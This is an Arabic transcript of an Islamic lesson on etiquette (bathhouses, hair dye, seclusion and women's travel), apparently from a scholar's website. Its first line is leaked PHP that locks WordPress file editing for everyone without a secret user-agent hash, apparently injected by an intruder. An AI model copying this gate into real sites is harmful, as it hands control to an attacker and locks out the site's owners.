if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الدرس الخامس عشر - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

الدرس الخامس عشر

الحمد لله رب العالمين، وصلى الله وسلم وبارك وأكرم وأنعم على خيرة خلقه وأفضل أنبيائه ورسله نبينا محمد وعلى آله وأصحابه وأتباعه بإحسان إلى يوم الدين.

أما بعد؛ أيها الأخوة الأكارم، السلام عليكم ورحمة الله وبركاته وحياكم الله في الدرس الخامس عشر من دروس شرح فصول الآداب ومكارم الأخلاق المشروعة للإمام «أبي الوفاء ابن عقيل الحنبلي» رحمه الله ووالديه والسامعين ووالديهم.

بدأنا في فصلٍ فيه جملةٌ كبيرةٌ من الآداب، أخذنا طرفًا منها واليوم لعلنا نأخذ طرفًا آخر ونكملها بإذن الله تعالى في الدرس القادم.

قال رحمه الله: (وَدُخُوْلُ الحَمَّامِ جَائِزٌ لِلرِّجَالِ بِالمَيَازِرِ السَّاتِرَةِ، وَيُكْرَهُ لِلنِّسَاءِ؛ إِلَّا مِنْ عِلَّةٍ وَحَاجَةٍ) دخول الحمام، المراد بالحمام: المواضع المعدة للاغتسال، وتكثر في البلاد الباردة حيث لا يتهيأ لكثيرٍ من الناس الاغتسال في تلك البلاد الباردة في فصل الشتاء في بيوتهم لقلة وسائل التدفئة والتسخين فيعمدون إلى هذا الحمامات، ولم تكن معروفة في زمنه صلى الله عليه وسلم ولم يرها فضلًا أن يدخلها لكنه أخبر عنها في أحاديث جملتها لا تخلو من ضعف لكن مجموعها قد يترقى إلى الحسن، ومن أصحها ما جاء عن أم المؤمنين عائشة رضي الله عنها أنه قدم إليها وفدٌ من الشام من النساء، فقالت لهن رضى الله عنهن: أنتن اللاتي يدخلن نساؤكم الحمامات، وقد كان هذا الوفد من أهل حمصٍ ومن أهل الشام، ثم قالت: سمعت رسول الله صلى الله عليه وسلم يقول: «ما من امرأةٍ تضعُ ثيابَها في غيرِ بيتِ زوجِها إلَّا هتكتِ السِّترَ بينَها وبينَ ربِّها»[1] [الحديث رواه الطيالسي بسندٍ صحيح] هذا الحديث فيه وعيدٌ شديدٌ على خلع الثياب في غير بيت الزوجية وذلك إذا كان على سبيل التبرج والسفور وإظهار المفاتن والمحاسن، سواءً كان بيتٍ أو في صالونٍ أو في نادٍ أو في صالة أفراحٍ أو في سوقٍ أو في غيره؛ فإن المرأة المسلمة درة مصونة يجب عليها أن تستر جميع بدنها ولا يحل لها أن تتكشف وتتعرى، ولهذا جاء هذا الحديث في هذا الباب سواءً كان في بيت أهلها أو في غير بيت أهلها، لا يحل لها أن تتكشف وتظهر مفاتنها أمام النساء، إذن دخول الحمام الأصل فيه الجواز وذلك للحاجة، وقد ذكر المؤلف رحمه الله أنه يُباح للرجال دخول هذه الحمامات بالميازر الساترة ثم ذكر أنه يكره للنساء إلا من علة وحاجه، إذن يجوز للرجال دخول هذه الحمامات للحاجة بشرطين أساسيين:

أولهما: أن يستر الداخل عورته، وعورة الرجل من سرته إلى ركبته فيسترها بالميازر أو السراويل الطويلة إلى ركبته، وهذا شأن المسابح وصالونات أو أندية الرياضة والتخسيس والتخفيف والتمرين والملاعب بأنواعها والألعاب بأشكالها، فإنه يجب على الرجل أن يستر عورته ولا يحل له أن يكشف شيئًا منها، والفخذ عورة كما قال صلى الله عليه وسلم: «غطِّ فَخِذَكَ، فإنَّ الفخِذَ عورَةٌ»[2].

الشرط الثاني: أن يأمن من النظر إلى عورات الآخرين، فإنه قد يستر عورته لكنه يجد في هذا النادي أو في هذاك المسبح أو في ذلك الصالون أو في ذلك الحمام من يتبذل ويكشف عورته فلا يحل له حينئذٍ أن يذهب.

إذن الواجب على المسلم أمران: أمرٌ يتعلق بخاصة نفسه فيستر عورته إلا من زوجته أو ما ملكت يمينه كما قال جل شأنه: {وَالَّذِينَ هُمْ لِفُرُوجِهِمْ حَافِظُونَ * إِلَّا عَلَى أَزْوَاجِهِمْ أَوْ مَا مَلَكَتْ أَيْمَانُهُمْ فَإِنَّهُمْ غَيْرُ مَلُومِينَ} [المؤمنون:5-6]، وقال النبي صلى الله عليه وسلم لما سُئل، «عوراتنا ما نأتي منها وما نذر؟ قال: احفظ عورتك إلا من زوجتك أو ما ملكت يمينك، قال: فإذا كان أحدنا خاليًا؟ قال: فالله أحق أن يُستحيا منه»[3]، ولهذا المؤمن لا يتكشف إلا عند الحاجة كعند قضاء الحاجة والاغتسال وجماع الزوجة ونحو ذلك وإلا فالأصل فيه أنه يتستر ويستر عورته، فإذا كان الداخل يستر عورته لكنه يجد أقوامًا يكشفون أفخاذهم ويكشفون شيئًا من عوراتهم فإنه لا يذهب، ولا يكفي أن يذهب ويغض البصر بل يختار الوقت الذي لا يوجد فيه من يتبذل ويكشف عورته، إذن الحمام هو بيت الماء المعد للاستحمام بالماء الساخن لتنظيف البدن غالبًا أو التداوي، وكانت هذه الحمامات معروفة منذ القدم في بلاد العجم وفي بلاد الشام، يجعلونها للاغتسال عند طُهر المرأة من حيضها أو نفاسها أو عند التداوي، وقد صنف بعض أهل العلم كتبًا في بيان آدابها وأحكامها كابن كثيرٍ رحمه الله في كتابه الموسوم «الآداب والأحكام المتعلقة بالحمام» فالرجل إذن يدخل بالميازر وهو جمع أُزُر وهو الإزار فيستر عورته ويغض الطرف عن النظر إلى عورات الآخرين، فإذا غلب على ظنه أنه إذا دخل سيجد من يتبذل فإنه لا يذهب، أما المرأة فالأصل منعها من الذهاب لتلك الحمامات إلا عند الحاجة أو الضرورة كالمرض والاغتسال من النفاس وكثرة الأوساخ والدرن إذا لم تجد سبيلًا للاغتسال في بيتها، والقول بالتحريم هو المشهور من مذهب الحنابلة رحمهم الله، وذهب بعض أهل العلم إلى الكراهة وهو مذهب الشافعية وبعض المالكية، الذين أجازوه للرجال قالوا: هو الأصل، الأصل أن المسلم إذا احتاج إلى الماء الساخن يغتسل به ولا كراهة في ذلك فإن لم يجد ذلك في بيته وذهب إلى مكانٍ مُعدٍ للاغتسال والاستحمام والتنظف وإزالة الدرن ونحو ذلك وأمن من كشف عورته ومن النظر إلى عورات الآخرين فلا حرج في ذلك، واستدل هؤلاء بقول أبي هريرة رضي الله عنه: «نِعمَ البيتُ الحمَّامُ ، يُذهِبُ الدَّرَنَ أي الوسخ ويذَكِّرُ النَّارَ»[4] [الحديث رواه ابن أبي شيبة بسندٍ صحيح] قوله يذكر بالنار: معلومٌ أن هذه الحمامات طبقات، كلما دخلت طبقة وجدتها أسخن وأحر من قبلها، فيكون الداخل لها يتذكر حر جهنم فيستجير بالله من النار، أما المرأة فالأصل أنها ممنوعة من كشف عورتها والتكشف والتبذل ولو لم يكن في تلك الحمامات لكن لما كانت هذه الحمامات مظنة لكشف العورات والتبذل عند النساء كما هو حال النساء في كل عصرٍ ومصر، ولهذا لما ذكر الإمام أحمد رحمه الله الكلام على هذه الحمامات كره بناءها وأجرتها، وقال: وأما من يبنيها فليس بعدل، هذا نص الإمام أحمد، يقول: إن هذا الذي يُتاجر في مثل هذا ليس بعدل يعني كأنه انتفت عنه العدالة، اليوم كثير من الناس يستثمر ولا يبالي في الحلال من الحرام، نقول: إذا أردت أن تستثمر مالك فاجتهد في دراسة الجدوى الاقتصادية من هذا المشروع من جهة، وقبل ذلك ومعه وبعده دراسة الحكم الشرعي، وهل هذا جائز سائغ شرعًا أو لا؟ فإن كان سائغًا فأقدم وإلا فأحجم، إذن لا يجوز للمسلم أن يتاجر فيما فيه حرام ولا أن يبني صالوناتٍ ولا أنديةٍ رياضية للنساء وهو لا يستطيع ضمان ما يجري فيها من حيث الحل والحرمة.

قال رحمه الله: (وَلَا بَأْسَ بِالخِضَابِ بِالحِنَّاءِ، وَهُوَ يُسْتَحَبُّ، وَكَذَلِكَ الكَتَمُ، وَيُكْرَهُ بِالسَّوَادِ) قوله رحمه الله: وَلَا بَأْسَ بِالخِضَابِ، الخضاب إذا أُطلق يعني صبغ الشعر بالحناء وأهل اللغة يقولون: لا يُقال خضاب إلا إذا كان بالحناء أما إذا كان بغير الحناء فإنه يُسمى صبغًا، قال رحمه الله: وَلَا بَأْسَ بِالخِضَابِ، تقول: خضب اليد وغيرها بالخضاب وهو الحناء، ويُقال للرجل خاضبٌ إذا اختضب بالحناء فإن كان بغير الحناء قيل: صبغ شعره ولا يُقال اختضب، يقول رحمه الله: وَلَا بَأْسَ بِالخِضَابِ ثم قال: (وَهُوَ يُسْتَحَبُّ) وهذا من عجائب قوله رحمه الله، كيف يقول لَا بَأْسَ ثم يقول وَهُوَ يُسْتَحَبُّ، نقول: الخضاب بالحناء محل خلافٍ عند أهل العلم، فالجمهور على استحبابه، فالجمهور من الأئمة الحنفية والشافعية والحنابلة على استحبابه، ويستدلون على استحبابه بما جاء في الحديث الصحيح عند البخاري ومسلمٍ من قوله صلى الله عليه وسلم: «إنَّ اليَهودَ والنَّصارى لا يَصْبُغون، فخالِفوهم»[5] إذن قوله: (وَلَا بَأْسَ بِالخِضَابِ بِالحِنَّاءِ، وَهُوَ يُسْتَحَبُّ، وَكَذَلِكَ الكَتَمُ، وَيُكْرَهُ بِالسَّوَادِ) نقول: الخضاب بالحناء مختلفٌ فيه، وابن عقيل صاحب هذه الرسالة صدّر الكلام بقوله: لَا بَأْسَ، ثم قال: وَهُوَ يُسْتَحَبُّ، فذهب جمهور الأئمة من الحنفية والشافعية والحنابلة إلى استحبابه وأما المالكية فقالوا: إنه مباح لا يُستحب ولا يُكره، واستدل الذين يستحبونه وهم الجمهور بما جاء عنه صلى الله عليه وسلم من الأمر به مخالفةً لليهود والنصارى، قوله رحمه الله: (وَكَذَلِكَ الكَتَمُ) أي لا بأس أن يصبغ بالكتم، والكتم: سوادٌ يميل إلى الحمرة، مخلوط، ليس سوادًا صريحًا ولا حُمرةً صريحة، ومثله خلط الكتم بالحناء، وقد ورد الصبغ بالكتم عن أبي بكرٍ الصديق رضي الله عنه، «رُوي عنه أنه خضب بالكتم»[6] [رواه الإمام مسلم] ثبت عنه وإنما نقول رُوي في الحديث الضعيف، ثبت عنه وصح عن الصديق رضي الله عنه أنه خضب لحيته بالكتم، أما السواد فقد صرّح رحمه الله بكراهيته وهذا هو المشهور في مذهب الحنابلة وهو قولٌ عند الأئمة الآخرين، يعني في كل مذهبٍ من المذاهب نجد من يرى كراهة الصبغ بالسواد الخالص، وقيل: يحرم الصبغ بالسواد، وهو قولٌ للشافعية رجحه النووي رحمه الله، وقيل: يجوز بلا كراهة وهو قول الحنفية، الذين يرون النهي عن الصبغ بالسواد سواءً حملوه على الكراهة أو التحريم، استدلوا بأحاديث منها ما جاء عند الإمام مسلم أن النبي صلى الله عليه وسلم قال: غيروا هذا الشيب بشيءٍ واجتنبوا السواد قاله النبي صلى الله عليه وسلم في أبي قحافة والد أبي بكرٍ الصديق رضي الله عنه، كان شعره كالثغامة البيضاء، فقال النبي صلى الله عليه وسلم: غيروا هذا واجتنبوا السواد[7]، وفي روايةٍ: وجنبوه السواد، لكن الذين يرون الجواز مطلقًا بلا كراهة، يقولون: إن لفظة “واجتنبوا السواد” معلولة أي ليست صحيحة، أصل الحديث عند مسلم، قال صلى الله عليه وسلم: «غيروا هذا الشيب بشيء»، هذا صحيح عند مسلم ولا علة في ذلك لكن قوله: واجتنبوا السواد أو جنبوه السواد، نقول: هذه اللفظة معلولة بعلتين، أولاهما: أنها مدرجةٌ من كلام الزهري رحمه الله وليست من كلام النبي صلى الله عليه وسلم ، الثاني: أي العلة الثانية، أن هذا القدر وهذه اللفظة تردد فيها الراوي وهو أبو الزبير فتارةً يذكرها وتارةً لا يذكرها، والصحيح جواز الصبغ بالسواد بلا كراهة لكن من أراد أن يخرج من هذا ويتورع فليخلط مع السواد غيره من الحناء ونحوه لكن لو قال: هل ثبت المنع؟ نقول: أبدًا، لم يصح عن النبي صلى الله عليه وسلم في المنع حديث، قال: «غَيِّرُوا هَذَا»، فدل على أن السنة خضب الشيب وتغييره لكنه هنا قال: وجنبوه السواد ووجدنا أن هذه اللفظة غير صحيحة عن النبي صلى الله عليه وسلم ، بقي الأمر بتغيير الشيب على سبيل الاستحباب، إن غيّره بالكتم أو غيّره بالحناء أو غيره فهو الأفضل والمسنون، وإن غيّره بالسواد فلا حرج على الصحيح من قولي أهل العلم.

بالنسبة للنساء، من أهل العلم من كره لهن الصبغ بالسواد، قالوا: لأن فيه غشًا وتدليسًا، نقول: قد يُقال في الرجل كذلك إذا كان مبناه على الغش والتدليس فإن المنع في حق الجميع لكن إذا أرادت المرأة أن تتزين لزوجها وصبغت شعرها بسوادٍ وغيره فلا حرج مادام أنه للزينة ولا غش ولا تدليس ومثله الرجل المتزوج إذا صبغ وهو لا يقصد غشًا ولا تدليسًا ولا خداعًا لأحد فالأصل الجواز، وذلك أن النبي صلى الله عليه وسلم قال: «غَيِّرُوا هَذَا»، يبقى عندنا أن من النساء من تصبغ شعرها بالبياض وهذا بالله عليكم من أعجب العجب وأغرب الغريب، إذ الأصل أن البياض مؤذنٌ بالشيب وكبر السن غالبًا، فكيف تعمد بعض النساء إلى صبغ بعض شُعورهن وما يُسمى بالخصلات بالبياض؟ نقول: لاشك أن هذا من التقليد بل التقليد الأعمى، إذ كيف تزينين شعرك بالبياض، البياض لو طلع الشيب في شعرك لغطيتيه بالسواد وصبغتيه بالحناء أو غيره، فكيف تعمدين إلى شعرٍ أسود فتبيضينه بما يسميه النساء الميش، نقول: كل هذا من التقليد في غير محله ومثله: تجعيد الشعر، المعروف أن الشعر الناعم الطويل هو الجمال للمرأة وهو ربما يُقال عنه نصف الجمال، فكيف تعمد بعض النساء إلى شعرها الناعم فتجعده، نقول: سبحان الله، التجعيد عيبٌ في الشعر، كان المتقدمون لما كان وقت الإماء، إذا أراد أن يبيع الأمة جعّد شعرها، جعله خشنًا، لماذا؟ حتى يظن المشتري أنها امرأة قوية جلدة؛ لأنه يريد هذه الأمة للخدمة لا يريدها للتسـري، فربما عمد صاحبها إلى تجعيد شعرها غشًا وتدليسًا، ولهذا ذكر الفقهاء في العيوب التي تُرد بها السلعة تجعيد شعر الأمة، فإذا غسلت شعرها وعاد إلى نعومته له أن يردها، لماذا؟ لأنهم ينظرون أن الشعر الجعد الخشن المتعرج دليل القوة، فربما عمد الواحد إلى تجعيد الشعر ليُشعر من يريد الشراء أن هذه أمةٌ قويةٌ نشيطةٌ تخدم ولا تكل ولا تمل، أما المرأة فالأصل أن الجمال في نعومة الشعر لا في خشونته ولا في تجعيده، ولهذا من ابتليت بشعرٍ جعدٍ خشن تجدها تدفع الفلوس الكثيرة والمال الوفير لتنعيم شعرها وتجتهد في ذلك، فمن العجب العُجاب أن تعمد من رُزقت شعرًا ناعمًا إلى تجعيده، ومن رُزقت شعرًا أسود إلى تبييضه ومن رُزقت شعرًا طويلًا حسنًا إلى تقصيره حتى يكون قريبًا من شعر الولد، وهذا بلا شك من انتكاس الفطر وإلا فالأصل أن الجمال في طول الشعر وحُسنه وجماله، فإن آذاها طوله لا بأس أن تقصـره لزوجها تقصيرًا حسنًا أما أن تُقصره إلى أن يبلغ أذنيها أو فوق كتفيها، وربما تشبهت بنساءٍ فاجراتٍ أو فاسقاتٍ أو كافراتٍ أو مغنياتٍ أو ممثلات وربما تشبهت بالرجال، ولهذا اشتهر عند النساء قصة البوي أي الولد، نقول: سبحان الله، يكفي في حكمها اسمها، إذا كان الأصل فيها التشبه بالرجال فهي محرمة إذ قد لعن صلى الله عليه وسلم المتشبهات من النساء بالرجال كما لعن صلى الله عليه وسلم المتشبهين من الرجال بالنساء[8].

قال رحمه الله: (وَلَا يَجُوْزُ أَنْ يَخْلُوَ الرَّجُلُ بِامْرَأَةٍ لَيْسَتْ لَهُ بِمَحْرَمٍ) هذا شروعٌ في أدبٍ عظيم، وهو البعد عن أسباب الفتنة التي جُلها وأعظمها فتنة الرجال بالنساء كما قال صلى الله عليه وسلم: «ما تَرَكْتُ بَعْدِي فِتْنَةً أضَرَّ علَى الرِّجالِ مِنَ النِّساءِ»[9]، فمن أسباب الفتنة وأعظمها، خلوة الرجل بالمرأة من غير محارمه، فالخلوة بالمرأة الأجنبية محرمٌ سواءٌ كانت هذه الخلوة في منزل، في مكتب، في سيارة أو غير ذلك من الأماكن، قد دلت الأحاديث الكثيرة على التحريم كما في حديث ابن عباس رضي الله عنهما أن رسول الله صلى الله عليه وسلم قال: «لا يَخْلُوَنَّ رَجُلٌ بامْرَأَةٍ إلَّا مع ذِي مَحْرَمٍ»[10] [أخرجه الإمام البخاري ومسلم] وفي حديث عقبة بن عامر رضي الله عنه أن رسول الله صلى الله عليه وسلم قال: «إيَّاكم والدُّخولَ على النِّساءِ، فقال رجُلٌ مِنَ الأنصارِ: يا رسولَ اللهِ، أفَرأيْتَ الحَمْوَ؟ قال: الحَمْوُ المَوتُ»[11] [الحديث متفقٌ عليه] والحمو: هو قريب الزوج كأخيه وابن أخيه وابن عمه، ولا شك أن هذه الخلوة محرمة شرعًا وسببٌ من أعظم أسباب الفواحش ويحصل بسببها الشر العظيم فإنه ما خلا رجلٌ بامرأة إلا كان الشيطان ثالثهما، وما ظنك باثنين ثالثهما الشيطان، الشيطان حريصٌ جد حريص على إغواء بني آدم وإيقاعهم في المعاصي والفواحش، ولهذا يسول ويوسوس في النفوس إذا خلا رجلٌ بامرأة إلى الوقوع فيما حرم الله، وما حصلت الفواحش وانتشرت في مجتمعات الناس اليوم إلا بالتساهل بالخلوة وغيرها والاختلاط المحرم والسفر بدون محرم والدخول على النساء وكشف الوجوه والمحاسن، كل ذلك حرمه الشارع ذلكم أن الشارع الحكيم لما حرم الزنا وجعله فاحشةً ومقتًا وساء سبيلًا، حرم كل طريقٍ يوصل إليه، فكل طريقٍ يوصل إلى الزنا فهو محرم ولهذا لم يقل جل شأنه وتقدس اسمه: لا تزنوا، قال: {وَلَا تَقْرَبُوا الزِّنَا} [الإسراء: ٣٢]، فكل طريقٍ يوصل إلى الزنا فهو مُحرم إذ الوسائل لها أحكام المقاصد، ومن هذه الوسائل التي توصل إلى الزنا وإلى الفواحش خلوة الرجل بامرأةٍ أجنبية، حتى الطبيب مع الممرضة في غرفة يغلق عليه وعليها، نقول: هذه خلوة محرمة ولا ميثاق يمنع من ذلك كما يزعم بعضهم أن عند الأطباء ميثاق وقد أخذوا العهد، نقول: سبحان الله، الله جل شأنه حرج وحرم الخلوة هذه لسان رسوله صلى الله عليه وسلم ومنعها منعًا باتًا، وأمر ألا يخلو رجلٌ بامرأة إلا ومعها محرم، ولهذا بعض الرجال يدخل زوجته عند طبيبٍ بدون أن يدخل معها، يقول: هي عند طبيب النساء أو طبيب الأسنان، نقول: سبحان الله، كيف ترضى يا صاحب الغيرة أن تدخل زوجتك أو موليتك كأختك أو بنتك عند رجلٍ يُغلق عليه وعليها الباب، فإن قال: معها ممرضة، نقول: هذه الممرضة التي رضيت بالخلوة مع هذا الرجل، هل عندها غيرة على محارمك وعرضك؟ ثم هذه الممرضة تدخل وتخرج متى شاءت ومتى أرادت ومتى شاء الطبيب وأراد، ولهذا لا يحل للرجل الذي في قلبه غيرة الإيمان أن يُقر دخول زوجته على رجلٍ أجنبيٍ ولا العكس بأن يدخل عليها رجل أجنبي حتى لو كان أقرب قريب ما دام أنه ليس من المحارم، ولهذا لما منع صلى الله عليه وسلم وحذر وقال: «إيَّاكم والدُّخولَ على النِّساءِ، فقال رجُلٌ مِنَ الأنصارِ: يا رسولَ اللهِ، أفَرأيْتَ الحَمْوَ؟ ظن أنه سيُستثنى لأنه قريب وربما عنده شيء من الغيرة على عرض أخيه أو عرض ابن عمه فقال صَلَّى الله عَلَيْهِ وَسَلَّمْ: الحَمْوُ المَوتُ» فحذر منه غاية التحذير؛ لأنه لا يُستنكر دخوله، حتى الجيران والأقارب والأصحاب يرونه يدخل بيت أخيه ما يستنكرون ولا يستغربون، يقولون: فلان عند فلان، يظنون أن صاحب البيت موجود وحينئذٍ تقع الطوام والمصائب العظام بسبب التساهل ومخالفة كلام سيد الأنام صلى الله عليه وعلى آله وسلم، قال صلى الله عليه وسلم: الحمو الموت، يعني احذر منه كما تحذر من الموت؛ فإنه يقع في دخوله وخلوته بزوجة أخيه أو زوجة ابن عمه ما لا تُحمد عقباه، والغريب المدهش أن من مجتمعات المسلمين اليوم من يمنع امتناع المرأة عما حرم الله ويعدون ذلك عيبًا وخرقًا للعادات الجاهلية، فإذا كان الرجل مثلًا في المدينة هو وزوجه فقدم أخوه أو ابن عمه يُشكل عليهم منع هذا صاحب البيت بقاء أخيه أو بقاء ابن عمه حال غيابه، ويقول: أنت ما تستحي ولا تُقدر العادات، نقول: سبحان الله، الذي يأخذ بالشرع هو اللي ما يستحي؟ اللي ما يستحي هو اللي يخالف الشـرع، الذي لا يستحي من الله ولا رسوله صلى الله عليه وسلم حق الحياء هو الذي يخالف الشـريعة، وإذا قال: نحن نثق، نقول: سبحان الله، هذه الثقة الشيطانية، تثق بالشيطان؟ النبي صلى الله عليه وسلم يقول: ما خلا رجل بامرأة إلا كان الشيطان ثالثهما، فإذا وثقت فقد وثقت بالشيطان وخلوته وتحريشه وإغوائه وإضلاله.

قال رحمه الله: (وَلَا يَجْتَمِعُ رَجُلَانِ وَلَا امْرَأَتَانِ عَرْيَانَيْنِ، فِي فِرَاشٍ وَاحِدٍ، وَلَا إِزَارٍ وَاحِدٍ) هذا كسابقهِ لأن هذا يُفضي إلى فعل الفواحش، أن ينام الرجل مع الرجل في لحافٍ واحد يفضي جسد أحدهما إلى الآخر أو العكس وهو امرأة مع امرأة، فلا يجوز أن يجتمع رجلان تحت لحافٍ واحد وهما عريانان، وكذلك لا يجوز أن تجتمع امرأتان تحت لحافٍ واحد وهما عريانتان وقد ورد النهي عن ذلك صريحًا كما هو عند الإمام مسلم من حديث أبي سعيد الخدري رضي الله عنه أن النبي صلى الله عليه وسلم قال: «لا يَنْظُرُ الرَّجُلُ إلى عَوْرَةِ الرَّجُلِ، ولا المَرْأَةُ إلى عَوْرَةِ المَرْأَةِ، ولا يُفْضِي الرَّجُلُ إلى الرَّجُلِ في ثَوْبٍ واحِدٍ، ولا تُفْضِي المَرْأَةُ إلى المَرْأَةِ في الثَّوْبِ الواحِدِ»[12]، ومعنى الإفضاء: أن تباشر البشرة البشرة بدون حائل فحرم الشارع ذلك وحسم مادته بل منع ذلك في أولاد الرجل الواحد من صلبه ومن رحمٍ واحد، فنهى أن ينام الصبيان إذا بلغوا عشرًا مع بعض سواءً كانوا ذكورًا أو إناثًا أو ذكورًا وإناثًا وهو أشد وأخطر، فينبغي التأكيد على هذا المعنى في حق الأبناء والبنات، فإذا بلغوا عشـر سنوات أو قاربوها لا ينامون في فراش واحد، ذكورًا كانوا أو إناثًا وأقبح من ذلك وأخطر إذا كانوا ذكورًا وإناثًا، فقد أمر النبي صلى الله عليه وسلم بالتفريق بينهم في المضاجع إذا بلغوا عشـرًا، ويُلحق بذلك من قارب العشر.

إذن هذه الشريعة المطهرة منعت كل أسباب الفتنة وجعلت المرأة درةً مصونة، أمرتها بالحجاب الكامل الساتر كما قال صلى الله عليه وسلم: «المرأةُ عورَةٌ»[13] يعني جميع بدنها بلا استثناء، قد سبقت الإشارة إلى نصوص وجوب حجب المرأة بدنها بما في ذلك وجهها وهو مجمع المحاسن ومنعت هذه المرأة التي هي درة مصونة أن تسافر بدون محرم وأن تركب سائق أجنبي وأن يدخل عليها رجل أجنبي وأن تدخل على رجل أجنبي وأن تختلط برجالٍ أجانب ولو كان في مكاتب العمل أو مقاعد التدريس في المدارس وفي الجامعات فإن ذلك كله محرمٌ، وقد ضج الكفار وهم الكفار بما حصل عندهم من ويلات ورجعوا في بعض جامعاتهم وبعض مدارسهم إلى فصل الذكور عن الإناث؛ لأنهم رأوا أمورًا عظيمة فادحة،  وهم كفار ما عندهم دين، فكيف بأهل الإسلام؟ لا شك أن أهل الإسلام أولى بالاستجابة لأمر الله ورسوله والحرص على أعراضهم وسترها وإبعادها عن كل فتنة، وإبعادها عن الاختلاط بالرجال ودخول الرجال على النساء وجلوس النساء مع الرجال في مقاعد التعليم وفي المكاتب أو في الوظائف حكومية كانت أو آلية، خاصة كالشركـات والمؤسسات وكذلك السفر، إذا السفر للحج وهو أعظم سفر في الشرع، منع الشارع أن تسافر المرأة بدون محرم، ولما قال صلى الله عليه وسلم: «لَا تُسَافِرِ المَرْأَةُ إلَّا مع ذِي مَحْرَمٍ، فَقَامَ رَجُلٌ، فَقالَ: يا رَسولَ اللهِ، إنَّ امْرَأَتي خَرَجَتْ حَاجَّةً، وإنِّي اكْتُتِبْتُ في غَزْوَةِ كَذَا وَكَذَا، قالَ: انْطَلِقْ فَحُجَّ مع امْرَأَتِكَ»[14]، فإذا كان هذا بسبب الحج فما دونه من الأسفار سواءً كان سفر عمرة أو سفر طلب علم أو صلة رحم أو تجارة أو نزهة أو غير ذلك لا يجوز، وليست المرأة محرمًا للمرأة حتى لو ذهبت مجموعة من النساء وعصبة من النساء فإذن ذلك لا يُحل السفر بدون محرم، والمحرم هو زوج المرأة ومن تحرم عليه على التأبيد كأبيها أو ابنها أو أخيها أو ابن أخيها وابن أختها وعمها وخالها، وأما غير ذلك فإنهم غير محارم وإن كانوا أقارب كزوج الأخت وابن العم وابن الخال وابن العمة فإن أولئك كلهم غير محارم ويُعدون في الشرع أجانب.

أسأل الله بمنه وكرمه وجوده وإحسانه أن يجود علينا بالتوفيق والتسديد، وأن يستر أعراض المسلمين وأن يحمي نساءهن من التبرج والسفور وأن يحفظهن بحفظه ويكلأهن برعايته وأن يجعلهن له عائدات ولأوليائهن بالمعروف طائعات وبالحجاب والستر ملتزمات، إن ربي قريبٌ مجيبُ الدعوات.

وبالله التوفيق، وصلى الله وسلم وبارك وأكرم وأنعم على خيرة خلقه وأفضل أنبيائه ورسله نبينا محمد وعلى آله وأصحابه وأتباعه على يوم الدين، والسلام عليكم ورحمة الله وبركاته…

¯¯¯


[1] أخرجه أبو داود (4010)، والترمذي (2803) واللفظ له، وابن ماجه (3750)، وأحمد (24140)، الحديث حسنه الترمذي وصححه الألباني في صحيح الترمذي (2803).

[2] أخرجه البخاري معلقًا بصيغة التضعيف عقب (370) ووصله الترمذي (2796) مختصرًا، وأحمد (2493) باختلاف يسير، وصححه السيوطي في الجامع الصغير (5752).

[3] أخرجه أبو داود (4017) عن معاوية بن حيدة القشيري بلفظ: «احفَظْ عورتَك إلَّا من زَوجتِك أو ما ملَكَت يمينُك، قال: قلتُ: يا رَسولَ اللهِ، إذا كان القومُ بَعضُهم في بعضٍ؟ قال: إن استطعْتَ ألَّا يَرَيَنَّها أحدٌ فلا يرَيَنَّها، قال: قلتُ: يا رسولَ اللهِ، إذا كان أحدُنا خاليًا، قال: اللهُ أحَقُّ أن يُستحيَا منه مِن النَّاسِ»، والحديث حسنه الألباني في صحيح أبي داود (4017).

[4] أخرجه البيهقي في شعب الإيمان (6/2644)، وقال عنه: حديثٌ موقوفٌ وإسناده صحيح.

[5] أخرجه البخاري (3462)، ومسلم (2103).

[6] أخرجه مسلم (2341) عن محمد بن سيرين قال: «سَأَلْتُ أَنَسَ بنَ مَالِكٍ هلْ كانَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ خَضَبَ؟ فَقالَ: لَمْ يَبْلُغِ الخِضَابَ، كانَ في لِحْيَتِهِ شَعَرَاتٌ بيضٌ، قالَ قُلتُ له: أَكانَ أَبُو بَكْرٍ يَخْضِبُ؟ قالَ فَقالَ: نَعَمْ، بالحِنَّاءِ وَالْكَتَمِ».

[7] أخرجه مسلم (2102) عن جابر بن عبدالله رَضِيَ اللهُ عَنْهُ قال: «أُتِيَ بأَبِي قُحَافَةَ يَومَ فَتْحِ مَكَّةَ وَرَأْسُهُ وَلِحْيَتُهُ كَالثَّغَامَةِ بَيَاضًا، فَقالَ رَسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: غَيِّرُوا هذا بشيءٍ، وَاجْتَنِبُوا السَّوَادَ».

[8] أخرجه البخاري (5885).

[9] أخرجه البخاري (5096)، ومسلم (2740).

[10] أخرجه البخاري (5233)، ومسلم (1341).

[11] أخرجه البخاري (5232)، ومسلم (2172).

[12] أخرجه مسلم (338).

[13] أخرجه الترمذي (1173)، والبزار (2061)، وابن خزيمة (1685) مطولًا، وحسنه ابن قدامة في المغني (9/491)، وكذلك صححه الألباني في إرواء الغليل (273).

[14] أخرجه مسلم (1341).